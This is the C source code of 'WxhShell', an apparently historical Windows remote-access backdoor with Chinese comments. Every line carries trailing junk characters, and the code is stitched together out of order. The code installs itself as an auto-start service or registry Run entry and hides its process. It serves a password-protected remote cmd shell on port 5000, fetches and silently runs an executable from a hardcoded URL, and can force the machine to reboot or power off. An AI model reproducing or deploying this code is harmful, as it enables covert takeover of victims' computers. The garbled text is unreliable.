    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nbf w7u  
    if(Boot(SHUTDOWN)) h F4gz*Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E2%{?o  
    else { 27CVAX ghV  
    closesocket(wsh); +[C><uP  
    ExitThread(0); \'[C_+;X  
    } 5<=ktA48[  
    break; W%,h{  
    } FsTl@zN  
  // 获取shell 1nAAs;`'  
  case 's': { 23_\UTM}1  
    CmdShell(wsh); Dc;zgLLL  
    closesocket(wsh); 7 8n`VmH~L  
    ExitThread(0); l<"Z?z  
    break; x |0@T?  
  } 7!r)[2l  
  // 退出 vf-cx\y7  
  case 'x': { 9@{=2 k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c!20(( 2|I  
    CloseIt(wsh); jDKL}x  
    break; Fmo^ ?~b  
    } 9u%S<F"  
  // 离开 lAZn0EU  
  case 'q': { /GUbc   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s^6"qhTa  
    closesocket(wsh); SGK=WLGM8  
    WSACleanup(); azT@S=,  
    exit(1); R.rxpJ+kU  
    break; -!JnyD   
        } \Ng|bWR>LQ  
  } gPYF2m  
  } %`b %TH^  
XI8rU)q  
  // 提示信息 tLc 9-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rV6SN.  
} n)6mfoe  
  } W^sH|2g  
ZlEH3-Zv  
  return; rh+2 7"  
} L,PD4H"8  
lemE/(`a_  
// shell模块句柄 l$mfsm|{:  
int CmdShell(SOCKET sock) SIr^\iiOB  
{ B33H,e)  
STARTUPINFO si; =Ti[Q5SZ  
ZeroMemory(&si,sizeof(si)); R[Y{pT,AY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L-V+`![{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZL{\M|@jz  
PROCESS_INFORMATION ProcessInfo; ujH ^ML  
char cmdline[]="cmd"; ,R8:Y*@P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 10`]&v]T  
  return 0; >|!s7.H/J/  
} $u-yw1FT  
F `cuV  
// 自身启动模式 G;k#06  
int StartFromService(void) 6B .x=  
{ z&@O\>Q  
typedef struct "T0s7LWp  
{ ~o?(O1QY  
  DWORD ExitStatus; SZ)AO8&  
  DWORD PebBaseAddress; ,]* MI"  
  DWORD AffinityMask; ~wl 4  
  DWORD BasePriority; mYRW/8+g  
  ULONG UniqueProcessId; a ]~Yi.H  
  ULONG InheritedFromUniqueProcessId;  p;k7\7  
}   PROCESS_BASIC_INFORMATION; <+iL@'SgF  
c^a D r  
PROCNTQSIP NtQueryInformationProcess; @GrQ /F7  
$CgR~D2G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i<ug("/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <f+ 9wuZ  
1NI%J B  
  HANDLE             hProcess; hNWZ1r~_  
  PROCESS_BASIC_INFORMATION pbi; $V?h68[c  
6Rcl HU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BGO!c[-  
  if(NULL == hInst ) return 0; ICxj$b  
,Q>Rt V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E Qn4+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jg:%|g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \n}@}E L  
N~] 4,~  
  if (!NtQueryInformationProcess) return 0; R3,O;9i  
dnXre*rhz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wx2 EMr   
  if(!hProcess) return 0; ~[H+,+XLY+  
Fu;\t 0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (|kcSnF0  
~n<U8cm O  
  CloseHandle(hProcess); x;; =+)Gg  
7>sNjOt@M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 08 $y1;  
if(hProcess==NULL) return 0; I(2qXOG  
ln~;Osb  
HMODULE hMod; M}c gVMW  
char procName[255]; 5:r*em  
unsigned long cbNeeded; A\IQM^i  
EJ&aT etQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nz%{hMNYH  
zUNWcv!& "  
  CloseHandle(hProcess); l]wjH5mz=i  
40ZHDtIu<  
if(strstr(procName,"services")) return 1; // 以服务启动 QhqXd  
V% PeZ.Xv  
  return 0; // 注册表启动 dd{pF\a  
} oI2YJ2?Je8  
5OS|Vp||b  
// 主模块 xQ{n|)i>  
int StartWxhshell(LPSTR lpCmdLine) "?r=n@Kv  
{ 45+w)Vf!  
  SOCKET wsl; @s[Vtw%f  
BOOL val=TRUE; #Y9'n0 AL  
  int port=0; qT}AY.O%^  
  struct sockaddr_in door; g82_KUkB  
CR KuN  
  if(wscfg.ws_autoins) Install(); w!8xZu  
FK~FC:K  
port=atoi(lpCmdLine); J#OiY  
JxlU=7cF  
if(port<=0) port=wscfg.ws_port; 1>wQ&{  
g~#HiBgWq[  
  WSADATA data; ZM$}Xy\9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FR%u1fi  
PRo;NE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Uw:gJ 9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SmR"gu  
  door.sin_family = AF_INET; Y%"6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @2HNYW)  
  door.sin_port = htons(port); 0w24lVR.  
E?@batIrf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KTzkJx  
closesocket(wsl); |#x]FNg  
return 1; \8 ~`NF  
} ;uK">L[u'  
nGvWlx  
  if(listen(wsl,2) == INVALID_SOCKET) { `EjPy>kM  
closesocket(wsl); _h2s(u >\  
return 1; E,fG<X{  
} iR`c/  
  Wxhshell(wsl); e.<y-b?  
  WSACleanup(); p"lTZ7c:Y  
$: %U`46%s  
return 0; vi :IO  
Ev'Bm Dk  
} luYa+E0  
LBs:O*;  
// 以NT服务方式启动 afJ`1l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rEl bzL"&<  
{ @m bR I0  
DWORD   status = 0; 2:>|zmh_  
  DWORD   specificError = 0xfffffff; NE'4atQ|  
B"9/+Yj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5qx,b&^w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bOKgR{i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y66V&#`,e0  
  serviceStatus.dwWin32ExitCode     = 0; F_ Cp,  
  serviceStatus.dwServiceSpecificExitCode = 0; 5*#!w1X  
  serviceStatus.dwCheckPoint       = 0; E$w2S Q  
  serviceStatus.dwWaitHint       = 0; 9iWs'M  
 b}eBy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gx.iZOOH/  
  if (hServiceStatusHandle==0) return; 9sR?aW^$,/  
mV58&SZT  
status = GetLastError(); 9)Jc'd|  
  if (status!=NO_ERROR) AzwG_XgM)  
{ ML|O2e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [kjmEMF9i  
    serviceStatus.dwCheckPoint       = 0; SW^/\cJ^  
    serviceStatus.dwWaitHint       = 0; .@(+.G  
    serviceStatus.dwWin32ExitCode     = status; @\_l%/z{  
    serviceStatus.dwServiceSpecificExitCode = specificError; GdxMHnn=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "AAzBWd/  
    return; .gPXW=r  
  } XKTX~:  
0i4 X,oHjG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?'I[[KuG  
  serviceStatus.dwCheckPoint       = 0; W%)uKQha  
  serviceStatus.dwWaitHint       = 0; ebuR-9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ki"o0u  
} ~S='~ g)  
jZ;dY~fE  
// 处理NT服务事件,比如:启动、停止 jw^Pt~@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I`O)I&KH  
{ ~MOab e  
switch(fdwControl) rTR4j>Ua~  
{ pu"`*NL  
case SERVICE_CONTROL_STOP: 3O W) %  
  serviceStatus.dwWin32ExitCode = 0; [J6*Q9B<V&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y].vll8R  
  serviceStatus.dwCheckPoint   = 0; AhjUFz  
  serviceStatus.dwWaitHint     = 0; r-ldqj  
  { /%fa_+,|-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0%9Nf!j  
  } iyRB}[y  
  return; _B5t)7I  
case SERVICE_CONTROL_PAUSE: AxXFzMW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .7!n%Ks  
  break; 7Z(F-B +j  
case SERVICE_CONTROL_CONTINUE: d_0r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :tv:46+s=  
  break; G O=&  
case SERVICE_CONTROL_INTERROGATE: L;n2,b  
  break; E903T''s  
}; S @EkrC\4n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .>K):|Opv  
} P [.BK  
v0ng M)^q  
// 标准应用程序主函数 b0~AN#Es  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _-vf<QO]  
{ E27N1J+1  
;U +;NsCH  
// 获取操作系统版本 q66+x)  
OsIsNt=GetOsVer(); ~"Pu6-\VT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e@-"B9~   
ae)0Yu`*G7  
  // 从命令行安装 ?Q~6\xA  
  if(strpbrk(lpCmdLine,"iI")) Install(); Pmj]"7Vd[  
BZXP%{njS  
  // 下载执行文件 I1H} 5 bf3  
if(wscfg.ws_downexe) { >UP{= `  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ed,w-;(n~  
  WinExec(wscfg.ws_filenam,SW_HIDE); B"-gK20vY  
} :uAW  
s[V$f vW  
if(!OsIsNt) { ,@_$acm  
// 如果时win9x,隐藏进程并且设置为注册表启动 L=. 4x=%%  
HideProc(); wW7W+,{o  
StartWxhshell(lpCmdLine); pP4i0mO{Dv  
} N@M(Iw  
else N}Ol`@@#h  
  if(StartFromService()) JY\8^}'9  
  // 以服务方式启动 P(_wT:8C?  
  StartServiceCtrlDispatcher(DispatchTable); FN#6pM']|  
else x4PH-f-7  
  // 普通方式启动 n\nC.|_G@  
  StartWxhshell(lpCmdLine); "%c\i-&t  
k~(j   
return 0; d2Z kchf  
} Y4%Bx8  
+DWmutL  
9I a4PPEH1  
?G5JAG`  
=========================================== .b4_O CGg  
9.KOrg5}L  
[e2sUO0~r  
;CU<\  
*0 ;DCUv  
-%&_LE9ZtS  
" -fl?G%:(!0  
FtUOgL)|  
#include <stdio.h> &S}i)Nu6J  
#include <string.h> ;;zKHS  
#include <windows.h> U&fOsx?"  
#include <winsock2.h> U/ncD F%C  
#include <winsvc.h> cxTP4\T\E  
#include <urlmon.h> rz]0i@ehv'  
x?J- {6k  
#pragma comment (lib, "Ws2_32.lib") 't$(Ruw  
#pragma comment (lib, "urlmon.lib") IT,TSs/Y  
r h*Pl]'3z  
#define MAX_USER   100 // 最大客户端连接数 Md \yXp  
#define BUF_SOCK   200 // sock buffer `U4R% qhWA  
#define KEY_BUFF   255 // 输入 buffer  w' E  
zN(fZT}K5  
#define REBOOT     0   // 重启 g)*[W>M  
#define SHUTDOWN   1   // 关机 W;]*&P[[   
dbTPY`  
#define DEF_PORT   5000 // 监听端口 "_qH+ =_R  
m6BIQ(l  
#define REG_LEN     16   // 注册表键长度 (+<SR5,/3  
#define SVC_LEN     80   // NT服务名长度 mPNT*pAO  
f>)k<-<yj  
// 从dll定义API r\y~ :  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D?w?0b Eu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `.f<RVk-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3~"G(UP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fF208A7U I  
.:tAZZ  
// wxhshell配置信息 )5Ddvz>+  
struct WSCFG { tT}*%A  
  int ws_port;         // 监听端口 AL/q6PWi  
  char ws_passstr[REG_LEN]; // 口令 \UI7H1XDH  
  int ws_autoins;       // 安装标记, 1=yes 0=no ] X,C9  
  char ws_regname[REG_LEN]; // 注册表键名 }/ 6Q3B  
  char ws_svcname[REG_LEN]; // 服务名 ]HP aM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @O}%sjC1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;z;O}<8s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i,R<`K0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Kk2PWJ7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X>w(^L*>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ] (3e +JC  
-LL49P6  
}; \|Pp%U [  
(W3~r  
// default Wxhshell configuration jX^uNmb  
struct WSCFG wscfg={DEF_PORT, 8kQ >M  
    "xuhuanlingzhe", Vx@JP93|  
    1,  k%V#{t.  
    "Wxhshell", Z~^)B8  
    "Wxhshell", .g.v  
            "WxhShell Service", kP9DCDO`[5  
    "Wrsky Windows CmdShell Service", .P\wE";  
    "Please Input Your Password: ", dxkq*  
  1, j nvi_Rodm  
  "http://www.wrsky.com/wxhshell.exe", YC#N],#  
  "Wxhshell.exe" SMVn2H@  
    }; fu3/n@L  
w-?_U7'  
// 消息定义模块 _}.BZ[i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MtC\kTW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V6Kw71'9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oLEqy  
char *msg_ws_ext="\n\rExit."; m72r6Yq2@  
char *msg_ws_end="\n\rQuit."; K_ P08  
char *msg_ws_boot="\n\rReboot..."; Qvh: hkR  
char *msg_ws_poff="\n\rShutdown..."; y^:!]-+  
char *msg_ws_down="\n\rSave to "; WpE\N0Yg  
(J8 (_MF  
char *msg_ws_err="\n\rErr!"; 7A|n*'[T>  
char *msg_ws_ok="\n\rOK!"; PSz|I8 c  
fOEw]B#@  
char ExeFile[MAX_PATH]; dieGLA<5_X  
int nUser = 0; :R+}[|FV  
HANDLE handles[MAX_USER]; Uk=jQfA*J  
int OsIsNt; N;e d_!  
t W ;1  
SERVICE_STATUS       serviceStatus; M=hxOta  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ; F% 3b47  
nZe2bai  
// 函数声明 /k3v\Jq{  
int Install(void); F$P8"q+  
int Uninstall(void); W'w;cy:H  
int DownloadFile(char *sURL, SOCKET wsh); 1w}%>e-S  
int Boot(int flag); eO#Kn'5  
void HideProc(void); 6m_ fEkS[  
int GetOsVer(void); X(Gp3lG  
int Wxhshell(SOCKET wsl); :,03)[u{8  
void TalkWithClient(void *cs); &U%AVD[  
int CmdShell(SOCKET sock); ?s[ kUv+=  
int StartFromService(void); ?zW4|0  
int StartWxhshell(LPSTR lpCmdLine); Vo^ i7  
Pu dIb|V2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /?<o?IR~6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H'E(gc)>)  
$s-/![ 6  
// 数据结构和表定义 Coz\fL  
SERVICE_TABLE_ENTRY DispatchTable[] = ) -x0xY  
{ f0+)%gO{  
{wscfg.ws_svcname, NTServiceMain}, 7M*&^P\}es  
{NULL, NULL} "w.gP8`  
}; ;5qZQ8`4  
Q$!dPwDg  
// 自我安装 2mj?&p?  
int Install(void) F)_zR  
{ U_ELeW5@  
  char svExeFile[MAX_PATH]; 555j@  
  HKEY key; NO5\|.,Z  
  strcpy(svExeFile,ExeFile); ?5(Cwy ?  
z+IBy+  
// 如果是win9x系统,修改注册表设为自启动 {%W'Zx  
if(!OsIsNt) { K*^3FO}JG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CN4Q++{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JgQ,,p_V?  
  RegCloseKey(key); 4X tIMa28  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aMdWT4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g{wOq{7V  
  RegCloseKey(key); |P!7T.  
  return 0; P%w)*);  
    } yClX!OL  
  } -?L~\WJAL  
} G^E"#F  
else { KwO;ICdJ  
jd]Om r!  
// 如果是NT以上系统,安装为系统服务 w1tWyKq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6U|An*  
if (schSCManager!=0) s`Z | A  
{ .!|\Y!]^r  
  SC_HANDLE schService = CreateService jroR 2*  
  ( 0;9X`z J  
  schSCManager, vz'/]E  
  wscfg.ws_svcname, XFJGL!wWm[  
  wscfg.ws_svcdisp, jpijnz{M  
  SERVICE_ALL_ACCESS, @@->A9'L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fS9TDy  
  SERVICE_AUTO_START, `5da  
  SERVICE_ERROR_NORMAL, >@?!-Fy5  
  svExeFile, ~jcdnm]  
  NULL, M&auA  
  NULL, fCC^hB]'  
  NULL, H,8HGL[l  
  NULL, X0a)6HZ{  
  NULL 8SH&b8k<<  
  ); B?A]0S  
  if (schService!=0) )b AOA  
  { H!N`hEEj>  
  CloseServiceHandle(schService); m5i?<Ko@  
  CloseServiceHandle(schSCManager); YU >NGC]}d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <5).(MTa  
  strcat(svExeFile,wscfg.ws_svcname); 9BW"^$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PydU.,^7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]J|]IP Xy  
  RegCloseKey(key); hbfN1 "z  
  return 0; E}-Y!,v^  
    } oUSv)G.zb  
  } l-/fFy)T  
  CloseServiceHandle(schSCManager); R3 Zg,YM  
} 3Lg)237&j  
} 4^*+G]]wZ~  
B Oc2<M/\  
return 1; e'nhP  
} dV/ ^@[  
C[X2]zr  
// 自我卸载 M%{,?a0V  
int Uninstall(void) U+[ p>iP  
{ Go;fQ yG  
  HKEY key; GN0s`'#"3%  
3.0t5F<B  
if(!OsIsNt) { pUV4oyGV   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Uw!N;QsC  
  RegDeleteValue(key,wscfg.ws_regname); rJz`v/:|P  
  RegCloseKey(key); 85e!)I_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {pJf ~  
  RegDeleteValue(key,wscfg.ws_regname); |f+`FOliP  
  RegCloseKey(key); /+ yIcE(&3  
  return 0; 58]C``u@Y  
  } bf4QW JZD  
} A!GQ4.~%  
} k[ZkVwx  
else { hiT&QJB` _  
H@|h Nn$@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /TEE<\"  
if (schSCManager!=0) j'IZetT  
{ sa?Ul)L2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >U7{EfUJdx  
  if (schService!=0) 2=]Xe#5J=  
  { =PM6:3aKh  
  if(DeleteService(schService)!=0) { [\BLb8  
  CloseServiceHandle(schService); 'lWgHmE  
  CloseServiceHandle(schSCManager); #ULjK*)R  
  return 0; $R&K-;D/8  
  } v?O6|0#x  
  CloseServiceHandle(schService); GS)4,.  
  } c9/&A  
  CloseServiceHandle(schSCManager); %96l(JlJ)B  
} HI\V29 a  
} ;0"p)O@s04  
tX.fbL@ T  
return 1; ` zoC++hx  
} Z%4w{T+[  
BJ*8mKi h  
// 从指定url下载文件 1`q>*S](  
int DownloadFile(char *sURL, SOCKET wsh) +3d.JQoKl  
{ OAiSE`  
  HRESULT hr; v$d^>+Y#  
char seps[]= "/"; `z1E]{A  
char *token; !+o`,KTYp  
char *file; 96#aG h>  
char myURL[MAX_PATH]; p|0ZP6!|  
char myFILE[MAX_PATH]; )<K3Fz Bs  
JqTR4[`Z\  
strcpy(myURL,sURL); Dkyw3*LCn%  
  token=strtok(myURL,seps); ;N?raz2mEi  
  while(token!=NULL) @3v[L<S{  
  { EvGKcu  
    file=token; D/oO@;`'c  
  token=strtok(NULL,seps); !;%+1j?d  
  } #+ai G52+  
/RBIZ_  
GetCurrentDirectory(MAX_PATH,myFILE); +@mgb4_  
strcat(myFILE, "\\"); *|*6 q/  
strcat(myFILE, file); aH'=k?Of;  
  send(wsh,myFILE,strlen(myFILE),0); 8#h~J>u.  
send(wsh,"...",3,0); HceZTe@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iF^    
  if(hr==S_OK) 4?',E ddo  
return 0; V2oXg  
else Xaw&41K  
return 1; :8LK}TY7  
(Kg( 6E,  
} 6|10OTVu`  
c[zGWF#1>  
// 系统电源模块 w|[{xn^R  
int Boot(int flag) LXq0hI  
{ S4C4_*~Vd  
  HANDLE hToken; njGZ#{"eC  
  TOKEN_PRIVILEGES tkp; \J-}Dp\0b  
79d< ,q;uR  
  if(OsIsNt) { Sau?Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [J\! 2\Oo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g!I0UAm  
    tkp.PrivilegeCount = 1; OhiY <  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iPK:gK3Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !.c no&  
if(flag==REBOOT) { &]S\GnqlU]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j<PpCL_8%  
  return 0; +@BjQ|UZ  
} e\95X{_'  
else { zW:r7 P.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \H {UJ  
  return 0; $Ma*qEB  
} z;lWr(-x  
  } _)a!g-Do7  
  else { cL+bMM$4r~  
if(flag==REBOOT) { C+vk9:"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xmv^O  
  return 0; "}^}3"/.  
} Z_ (P^/  
else { M-zqD8D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jpt-5@5O  
  return 0; 58[.]f~0  
} zOn% \  
} nq 9{{oe  
E6+ 6  
return 1;  I#U)  
} 7R#$Hm  
2B[I- K s  
// win9x进程隐藏模块 'tJ@+(tqw  
void HideProc(void) vC%Hc/&.}  
{ "7}e~*bM?`  
get$ r5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )~C+nb '6/  
  if ( hKernel != NULL ) It8s#oq8  
  { -`ss7j&b3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Co^GsUJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0I7 r{T  
    FreeLibrary(hKernel); cL^r^kL("  
  } T u7}*vsR  
.q5WK#^  
return; eeCrHt4;  
} fYiof]v@_m  
:89AYqT"  
// 获取操作系统版本 Rd ,5 &X$  
int GetOsVer(void) ^+u/Lw&  
{ UhbGU G  
  OSVERSIONINFO winfo; 1JY3c M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^-g-]?q  
  GetVersionEx(&winfo); 6I-Qq?L[H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wj-z;YCV  
  return 1; d 6zfP1lQ  
  else G%XjDxo$I  
  return 0; !BEl6h  
} ;6tGRh$b  
zdgSqv  
// 客户端句柄模块 g;\_MbfP  
int Wxhshell(SOCKET wsl) \!df)qdu  
{ Ak+MR EG  
  SOCKET wsh; <4RP:2#  
  struct sockaddr_in client; w3 K>IDWI7  
  DWORD myID; j!/=w q  
;bYLQ  
  while(nUser<MAX_USER) a=AP*adx8  
{ `c'R42S A  
  int nSize=sizeof(client); Qt"i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9k3RC}dEr  
  if(wsh==INVALID_SOCKET) return 1; gi JjE  
j7 \y1$w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nrJW.F]S8[  
if(handles[nUser]==0) EzGO/uZ]  
  closesocket(wsh); *4O9W8Qz  
else yBnUz"  
  nUser++; 4rH:`494  
  } F+285JK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m?`?T   
bI+ TFOP  
  return 0; 68nBc~iAm  
} Q=#@g  
*9|*21  
// 关闭 socket :\IZ-  
void CloseIt(SOCKET wsh) FGu#Pa  
{ L /V;;  
closesocket(wsh); 04@?Jb1*  
nUser--; f1 Zj:3e  
ExitThread(0); `+5,=S  
} VZCCMh-  
K yDPD'  
// 客户端请求句柄 \KkAU6  
void TalkWithClient(void *cs) \><v1x>;  
{ #jT=;G7f2  
R[f@g;h  
  SOCKET wsh=(SOCKET)cs; 9 $ Ud\   
  char pwd[SVC_LEN]; d5l].%~  
  char cmd[KEY_BUFF]; (<ngdf`,  
char chr[1]; ~zyD=jx P9  
int i,j; V@`A:Nc_>  
Z lR2  
  while (nUser < MAX_USER) { CNrK]+>  
C#:L.qK  
if(wscfg.ws_passstr) { VD+y4t'^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z0xw0M+X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C0[ Z>$  
  //ZeroMemory(pwd,KEY_BUFF); +d JLT}I8M  
      i=0; 6 u}c543  
  while(i<SVC_LEN) { _OvIi~KW+  
qTrb)95  
  // 设置超时 1Gh3o}z  
  fd_set FdRead; f/tJ>^N5  
  struct timeval TimeOut; J:G~9~V^  
  FD_ZERO(&FdRead); '-vzQd@y  
  FD_SET(wsh,&FdRead); <XH,kI(%  
  TimeOut.tv_sec=8; u8Oo@xf0Fr  
  TimeOut.tv_usec=0;  9t_N 9@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zi= gOm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $-"V 2  
F.@U X{J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %617f=(E?!  
  pwd=chr[0]; nW!pOTJq21  
  if(chr[0]==0xd || chr[0]==0xa) { &ngG_y8}&  
  pwd=0; M}qrF~   
  break; d D;r35h=  
  } :y3e-lr  
  i++; o 76QQ+hP  
    } 7N}==T89[  
[hXnw'Im/  
  // 如果是非法用户,关闭 socket )=6o  ,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #({ 9M  
} Gu5%Pou  
+w9X$<?_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %tT=q^%5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mFW/xZwR,5  
?b3({P  
while(1) { QRAw#  
>SaT?k1E  
  ZeroMemory(cmd,KEY_BUFF); Y(Q!OeC  
OpxJiu=W  
      // 自动支持客户端 telnet标准   Y^9b>H\2  
  j=0; #*x8)6Ct  
  while(j<KEY_BUFF) { jZP~!q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [ @`Ki  
  cmd[j]=chr[0]; 7$|L%Sk  
  if(chr[0]==0xa || chr[0]==0xd) { W B7gY\Y&M  
  cmd[j]=0; M\)(_I)V=  
  break; =`fz#Mfd  
  } Bxs0m]  
  j++; 6}^6+@LG  
    } uH=^ILN.  
;SVAar4r  
  // 下载文件 !1fAW! 8  
  if(strstr(cmd,"http://")) { }8)iFP&"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +nm?+ F  
  if(DownloadFile(cmd,wsh)) \p{$9e;8yT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^>tqg^  
  else o.x<h";  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nc[[o>/Cb  
